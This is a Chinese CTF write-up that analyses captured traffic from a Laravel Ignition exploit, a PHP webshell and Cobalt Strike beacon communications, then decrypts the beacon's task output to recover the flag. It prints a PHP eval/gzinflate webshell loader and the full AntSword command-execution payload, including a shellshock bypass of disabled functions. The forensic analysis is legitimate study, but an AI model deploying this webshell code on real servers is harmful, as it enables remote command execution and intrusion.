2021 绿城杯 MISC
城南花已开 Lv5

流量分析题

CobaltStrike流量特征

前言

先来了解下什么是CobaltStrikle下面简称CS,在我的理解就是类似于哥斯拉、中国蚁剑相类似的webshell工具,下面是互联网上的的回答,我直接沾上来

Cobalt Strike是一款内网渗透测试工具,常被业界人称为CS。Cobalt Strike 2.0版本主要是结合Metasploit可以称为图形化MSF工具。而Cobalt Strike 3.0已经不再使用Metasploit框架而作为一个独立的平台使用,它分为客户端与服务端,服务端是一个,客户端可以有多个,可被团队进行分布式协团操作。客户端模式和服务端模式可以在Windows以及Linux上运行这里要注意服务端模式在Windows下运行时有可能会出现一些细小的问题不过影响不大。可以很好的解决metasploit对Windows支持不够好的问题。

Cobalt Strike集成了端口转发、服务扫描,自动化溢出,多模式端口监听,win exe木马生成,win dll木马生成,java木马生成,office宏病毒生成,木马捆绑;钓鱼攻击包括:站点克隆,目标信息获取,java执行,浏览器自动攻击等等

其实有关CS的还有很多知识,这里贴一下别人整理好的wikiCobalt Strike | 狼组安全团队公开知识库

这里我们需要学习的是CS的传输流量,以便可以在wireshrak中辨认,CS分为server和client版本,所以可以团队作业,就是很多个client都可以连接同一个server,这里我们需要了解的是Cobalt Strike有个Beacon命令,我们可以通过wireshark进行分析

如果你用过CrossC2这类工具你应该知道这类工具在使用时一定需要.cobaltstrike.beacon_keys文件,这是因为cobaltstrike在与Beacon通信时是使用的RSA非对称加密,而.cobaltstrike.beacon_keys文件里存储了一个序列化对象这个对象中包含着一个密钥对里面存储着RSA公私钥

http-beacon通信中默认使用 GET 方法向 /dpixel/__utm.gif/pixel.gif 等地址发起请求,同时 Cobalt StrikeBeacon 会将元数据(例如AES密钥)使用 RSA 公钥加密后发送给 C2 服务器。这些元数据通常被编码为 Base64 字符串并作为 Cookie 发送。

1
2
3
4
5
6
7
8
9
10
11
12
http-get {

set uri "/news/pictures/animals/cat.jpg /ca /dpixel /__utm.gif /pixel.gif /g.pixel /dot.gif /updates.rss /fwlink /cm /cx /pixel /match /visit.js /load /push /ptj /j.ad /ga.js /en_US/all.js /activity /IE9CompatViewList.xml"; # 设置get请求涉及到的uri,get请求一般是心跳包,beacon会随机从里面找一个请求

client {
...
}

server {
...
}
}

例如在绿城杯的这题中beacon就是/en_US/all.js地址

image

需要我们关注的是Cookie值,这是一个经过RSA公钥加密后的值,但是题目中并未提供.cobaltstrike.beacon_keys文件,那如何获取呢,见下文


拿到题目,这里我使用wireshark打开,发现好多流量无从下手哇🤔

image

我先是筛选了下http的流量,发现有好几个内网ip一直在频繁的发包互动192.168.132.138192.168.132.128192.168.132.130

image

这三个ip的报文发送频率是最高的,选择筛选条件(http and ip.addr==192.168.132.138) or (http and ip.addr==192.168.132.128) or (http and ip.addr==192.168.132.130)不知道咋优化的更简洁,后面发现只需要过滤http流量就行了,因为http流量只有这三个ip

在stream1317流中可以看见,ip130向138发送了POST请求,跟踪HTTP流可以发现一堆莫名其妙的编码image

Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution这一关键词通过搜索引擎可以了解到是有个CVE漏洞的,具体什么是Laravel我贴在下面了

image

Laravel 是一种流行的开源 PHP 开发框架,用于构建Web应用程序。它提供了许多开箱即用的功能和工具,使开发人员能够更快速,更高效地开发高质量的Web应用程序。Laravel 拥有清晰的文档、活跃的社区和丰富的生态系统,因此备受开发人员青睐。

通过相关文章漏洞解析,了解到将=00替换为空再进行BASE64解码就行了,通过CyberChef虽然解的不完整但关键信息可以看到,远程执行了whoami命令

image

我们继续往下跟踪流,寻找其他信息,发现在stream 1331流中又执行了dir

image

在后续的流中也逐渐发现确实执行了

image

在stream 1343流中找到了关键信息,有个一句话木马,密码是14433

image

而且经过base64gzinflate加密过后的,经过搜索找到了解密的python脚本和php脚本

gzinflate是一种用于解压缩经过gzip压缩的数据的函数。它会将经过gzip压缩的数据解压缩并返回原始的未压缩数据。gzip压缩通常用于在网络中传输数据或节省存储空间。gzinflate函数通常用于处理由gzip压缩的数据,并将其解压缩为原始数据。

1
2
3
4
5
6
import base64
import zlib
def decode_config_cmd(basestr):
return zlib.decompress(base64.b64decode(basestr),-zlib.MAX_WBITS)
print(decode_config_cmd('需要解密的base64编码'))
#b '@eval(@gzinflate(base64_decode($_POST[_0x0d4e2de6c1fa7])));'

或者,二者选其一即可,经实测都可以使用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
//放入已经加密的PHP内容
$a = "eval(gzinflate(base64_decode('需要解密的base64编码')));";
function decodephp($a)
{
$max_level = 300; //最大层数
for ($i = 0; $i < $max_level; $i++) {
ob_start();
eval(str_replace('eval', 'echo', $a));
$a = ob_get_clean();
if (strpos($a, 'eval(gzinflate(base64_decode') === false) {
return $a;
}
}
}
//这里注意要加htmlspecialchars,我看好多文章没写
echo htmlspecialchars(decodephp($a));
?>

通过以14433为关键字不断跟踪,找到有个secret.zip的压缩包在stream 1365中

image

转为原始数据去掉开头和结尾的数字,只保留504b到6632位置的十六进制数,转存为zip文件

image

里面存储着上文提到的RSA公私钥.cobaltstrike.beacon_keys文件,但是压缩包加密了,我们需要再次跟踪流寻找信息

我们在stream 2513中找到含有7-Zip的关键词,返回的报文的结果是解压了secret.zip文件

image

这时我们就需要解密给14433传参传了什么信息,通过上面的python解密脚本先解析一段,&and连接符前面的base64编码,注意要先将这段url解码后再进行解密,%2F/%3D=

image

解密完后可以看到好家伙又套一层加密,这下传参给了_0x0d4e2de6c1fa7

image

这下我们再次利用上面的解密脚本对_0x0d4e2de6c1fa7传进的参数进行解密,注意还是要先url解码

image

image

这下输出了一长串php代码,通过网上在线格式化美化下代码,使代码更加易读

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
@ini_set("display_errors", "0");
@set_time_limit(0);
$opdir=@ini_get("open_basedir");
if($opdir) {
$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);
$oparr=preg_split("/;|:/",$opdir);
@array_push($oparr,$ocwd,sys_get_temp_dir());
foreach($oparr as $item) {
if(!@is_writable($item)) {
continue;
}
;
$tmdir=$item."/.fedd1";
@mkdir($tmdir);
if(!@file_exists($tmdir)) {
continue;
}
@chdir($tmdir);
@ini_set("open_basedir", "..");
$cntarr=@preg_split("/\\\\\\\\|\\//",$tmdir);
for ($i=0;$i<sizeof($cntarr);$i++) {
@chdir("..");
}
;
@ini_set("open_basedir","/");
@rmdir($tmdir);
break;
}
;
}
;
;
function asenc($out) {
return $out;
}
;
function asoutput() {
$output=ob_get_contents();
ob_end_clean();
echo "36"."4f2";
echo @asenc($output);
echo "42"."ff1";
}
ob_start();
try {
$p=base64_decode(substr($_POST["f861d394170244"],2));
$s=base64_decode(substr($_POST["ufbd335828f30f"],2));
$envstr=@base64_decode(substr($_POST["b430b310838a93"],2));
$d=dirname($_SERVER["SCRIPT_FILENAME"]);
$c=substr($d,0,1)=="/"?"-c \\" {
$s
}
\\"":"/c \\" {
$s
}
\\"";
if(substr($d,0,1)=="/") {
@putenv("PATH=".getenv("PATH").":/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin");
} else {
@putenv("PATH=".getenv("PATH").";C:/Windows/system32;C:/Windows/SysWOW64;C:/Windows;C:/Windows/System32/WindowsPowerShell/v1.0/;");
}
if(!empty($envstr)) {
$envarr=explode("|||asline|||", $envstr);
foreach($envarr as $v) {
if (!empty($v)) {
@putenv(str_replace("|||askey|||", "=", $v));
}
}
}
$r="{$p} {$c}";
function fe($f) {
$d=explode(",",@ini_get("disable_functions"));
if(empty($d)) {
$d=array();
} else {
$d=array_map(\'trim\',array_map(\'strtolower\',$d));}return(function_exists($f)&&is_callable($f)&&!in_array($f,$d));};function runshellshock($d, $c) {if (substr($d, 0, 1) == "/" && fe(\'putenv\') && (fe(\'error_log\') || fe(\'mail\'))) {if (strstr(readlink("/bin/sh"), "bash") != FALSE) {$tmp = tempnam(sys_get_temp_dir(), \'as\');putenv("PHP_LOL=() { x; }; $c >$tmp 2>&1");if (fe(\'error_log\')) {error_log("a", 1);} else {mail("[email protected]", "", "", "-bv");}} else {return False;}$output = @file_get_contents($tmp);@unlink($tmp);if ($output != "") {print($output);return True;}}return False;};function runcmd($c){$ret=0;$d=dirname($_SERVER["SCRIPT_FILENAME"]);if(fe(\'system\')){@system($c,$ret);}elseif(fe(\'passthru\')){@passthru($c,$ret);}elseif(fe(\'shell_exec\')){print(@shell_exec($c));}elseif(fe(\'exec\')){@exec($c,$o,$ret);print(join("\n",$o));}elseif(fe(\'popen\')){$fp=@popen($c,\'r\');while(!@feof($fp)){print(@fgets($fp,2048));}@pclose($fp);}elseif(fe(\'proc_open\')){$p = @proc_open($c, array(1 => array(\'pipe\', \'w\'), 2 => array(\'pipe\', \'w\')), $io);while(!@feof($io[1])){print(@fgets($io[1],2048));}while(!@feof($io[2])){print(@fgets($io[2],2048));}@fclose($io[1]);@fclose($io[2]);@proc_close($p);}elseif(fe(\'antsystem\')){@antsystem($c);}elseif(runshellshock($d, $c)) {return $ret;}elseif(substr($d,0,1)!="/" && @class_exists("COM")){$w=new COM(\'WScript.shell\');$e=$w->exec($c);$so=$e->StdOut();$ret.=$so->ReadAll();$se=$e->StdErr();$ret.=$se->ReadAll();print($ret);}else{$ret = 127;}return $ret;};$ret=@runcmd($r." 2>&1");print ($ret!=0)?"ret={$ret}":"";;}catch(Exception $e){echo "ERROR://".$e->getMessage();};asoutput();die();

我们不需要关注其他,只需要了解这三个变量

1
2
3
$p=base64_decode(substr($_POST["f861d394170244"],2));
$s=base64_decode(substr($_POST["ufbd335828f30f"],2));
$envstr=@base64_decode(substr($_POST["b430b310838a93"],2));

发现接下来的这几个变量都只需要舍弃前两位进行base64解码即可

image

其他两个没有解码的必要了,直接解码ufbd335828f30f变量,舍弃前两位0b进行解密后找到了压缩包密码为P4Uk6qkh6Gvqwg3y

image

这下才真正拿到.cobaltstrike.beacon_keys文件,解压后是隐藏的,你需要在资源管理器中打开显示隐藏文件的选项

接下来才是标题上需要解密的Cobalt Strike流量的具体流程

我们需要用到两位大佬在Github上的的项目

WBGlIl/CS_Decrypt

Slzdude/cs-scripts: 研究CobaltStrike时的一些副产品

这两个项目在运行是提示是少哪个库就装哪个库

在安装M2Crypto库前需要先安装以下依赖

sudo apt install libssl-dev swig

我稍微修改了CS_Decrypt项目中的两个脚本文件

Beacon_metadata_RSA_Decrypt脚本头中添加了from M2Crypto import RSA才可运行

Beacon_Task_return_AES_Decrypt脚本末尾的69行代码处将print(de_data[4:dec_length].decode('utf-8'))改为了print(de_data[4:dec_length].decode('utf-8',errors='ignore'))否则运行会提示编码错误,手动添加错误强制执行就行了

分别git clone下来,将cs-scripts脚本中的密钥文件替换为刚刚解压的密钥,运行一下即可获得私钥和公钥,这边只用到了私钥,公钥没啥用

image

将私钥复制到CS_Decrypt项目的Beacon_metadata_RSA_Decrypt.py脚本文件中,在encode_data中填入上文提到的,Cookie值进行解密元数据(metadata)image

这就要回到wireshark中再次寻找了,我们可以发现ip 138源源不断的向128发送Cobalt Strike心跳包,在其中的任意一个包的Cookie都可以利用

image

利用脚本解密后得到信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
❯ python Beacon_metadata_RSA_Decrypt.py
Beacon id:1515569398
pid:7956
port:0
barch:x86
is64:1
bypass:True
windows var:6.2
windows build:9200
host:192.168.132.138
PC name:DESKTOP-QQF0MLN
username:Administrator
process name:beacon.exe
AES key:7c83bf30a6ad2dc410040d33e1399cf6 ##复制
HMAC key:a77945b3a56687a39f90683cb24d00c2 ##复制
00000000: 00 00 BE EF 00 00 00 5B B5 55 DE 5D CE 3B 9E 3E .......[.U.].;.>
00000010: B4 B5 72 2F 6A A6 BC 85 A8 03 A8 03 5A 55 C0 F6 ..r/j.......ZU..
00000020: 00 00 1F 14 00 00 0C 06 02 23 F0 00 00 00 00 75 .........#.....u
00000030: 9A 16 D0 75 9A 05 A0 8A 84 A8 C0 44 45 53 4B 54 ...u.......DESKT
00000040: 4F 50 2D 51 51 46 30 4D 4C 4E 09 41 64 6D 69 6E OP-QQF0MLN.Admin
00000050: 69 73 74 72 61 74 6F 72 09 62 65 61 63 6F 6E 2E istrator.beacon.
00000060: 65 78 65 exe
None

再将AES_key和HMAC_key填入CS_Decrypt项目的Beacon_Task_return_AES_Decrypt.py

然而还有一个加密后的数据在哪找呢,通过跟踪/en_US/all.js后紧接着访问了/submit.php?id=1515569398这个id可以是随机的,转为原始数据时其中内容的中可以发现开头是由0000构成的

image

我们需要将其通过CyberChef进行hex解密再base64编码

image

encrypt_data变量中填入CyberChef中编码后的结果,在跟踪到最后一个submit时找到了flag

1
2
3
4
5
6
7
8
9
10
❯ python Beacon_Task_return_AES_Decrypt.py
counter:5
任务返回长度:46
任务输出类型:30
flag{787fc697-8773-4669-84ad-94f714e7df09}
00000000: 00 00 00 05 00 00 00 2E 00 00 00 1E 66 6C 61 67 ............flag
00000010: 7B 37 38 37 66 63 36 39 37 2D 38 37 37 33 2D 34 {787fc697-8773-4
00000020: 36 36 39 2D 38 34 61 64 2D 39 34 66 37 31 34 65 669-84ad-94f714e
00000030: 37 64 66 30 39 7D 00 00 00 00 00 00 00 00 00 00 7df09}..........
None
由 Hexo 驱动 & 主题 Keep
本站由 提供部署服务
总字数 258.9k